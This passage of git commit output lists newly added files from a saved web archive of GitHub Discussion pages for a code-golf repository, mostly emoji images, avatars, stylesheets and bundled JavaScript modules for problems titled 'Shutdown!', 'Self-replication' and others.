· Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node__002.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_clipboard-copy-element_dist_index.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_paste-markdown_dist_index_esm_js-.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js create mode 100644 archive/Problem 3 Toggle multilib · Discussion #14 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf.html create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/1f389.png create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/1f440.png create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/1f44d.png create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/1f44e.png create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/1f604.png create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/1f615.png create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/1f64f.png create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/1f680.png create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/2764.png create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/33086936.png create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/33086936_002.png create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/33086936_003.png create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/50341827.png create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/50341827_002.png create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/50341827_003.png create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/50341827_004.png create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_details_ts-app_assets_mod.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node__002.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_clipboard-copy-element_dist_index.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_paste-markdown_dist_index_esm_js-.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js create mode 100644 archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf.html create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/116008116-7c456480-a602-11eb-9812-0ea5576f8d09.jpg create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/1f389.png create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/1f440.png create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/1f44d.png create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/1f44e.png create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/1f604.png create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/1f615.png create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/1f64f.png create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/1f680.png create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/2764.png create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/33086936.png create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/33086936_002.png create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/33086936_003.png create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/33086936_004.png create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/50341827.png create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/50341827_002.png create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/50341827_003.png create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/50341827_004.png create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_details_ts-app_assets_mod.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node__002.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_clipboard-copy-element_dist_index.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_paste-markdown_dist_index_esm_js-.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js create mode 100644 archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf.html create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/1f389.png create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/1f440.png create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/1f44d.png create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/1f44e.png create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/1f604.png create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/1f615.png create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/1f64f.png create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/1f680.png create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/2764.png create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/33086936.png create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/33086936_002.png create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/33086936_003.png create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/50341827.png create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/50341827_002.png create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/50341827_003.png create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/50341827_004.png create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_details_ts-app_assets_mod.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_command-palette_items_help-item_ts-.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node__002.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_clipboard-copy-element_dist_index.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_decorators_js-.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_paste-markdown_dist_index_esm_js-.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js create mode 100644 archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf.html create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/1f389.png create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/1f440.png create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/1f44d.png create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/1f44e.png create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/1f604.png create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/1f615.png create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/1f64f.png create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/1f680.png create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/2764.png create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/33086936.png create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/33086936_002.png create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/33086936_003.png create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/50341827.png create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/50341827_002.png create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/50341827_003.png create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/50341827_004.png create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_details_ts-app_assets_mod.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_keyboard-shortcuts-helper.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_behaviors_pjax_ts-9f84f27e2e5c.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/command-palette-958553b96f7b.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/environment-3ccf192d151f.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/github-4151d1bd4fa5.css create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/light-92c7d381038e.css create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/runtime-65b3abbb8226.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node__002.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_clipboard-copy-element_dist_index.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_filter-input-element_dist_index_j.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_mini-throttle_dist_index_js-node_.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_paste-markdown_dist_index_esm_js-.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-nod_002.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_remote-form_dist_index_js-node_mo.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_lit-html_lit-html_js-ba8ef7c9465c.js create mode 100644 archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_selector-observer_dist_index_esm_js-8a8f.js create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf.html create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/1f389.png create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/1f440.png create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/1f44d.png create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/1f44e.png create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/1f604.png create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/1f615.png create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/1f64f.png create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/1f680.png create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/2764.png create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/33086936.png create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/33086936_002.png create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/33086936_003.png create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/33086936_004.png create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/50341827.png create mode 100644 archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/50341827_002.png create mode 100644 archive/Problem 8 Create Go channels… without Go channels · 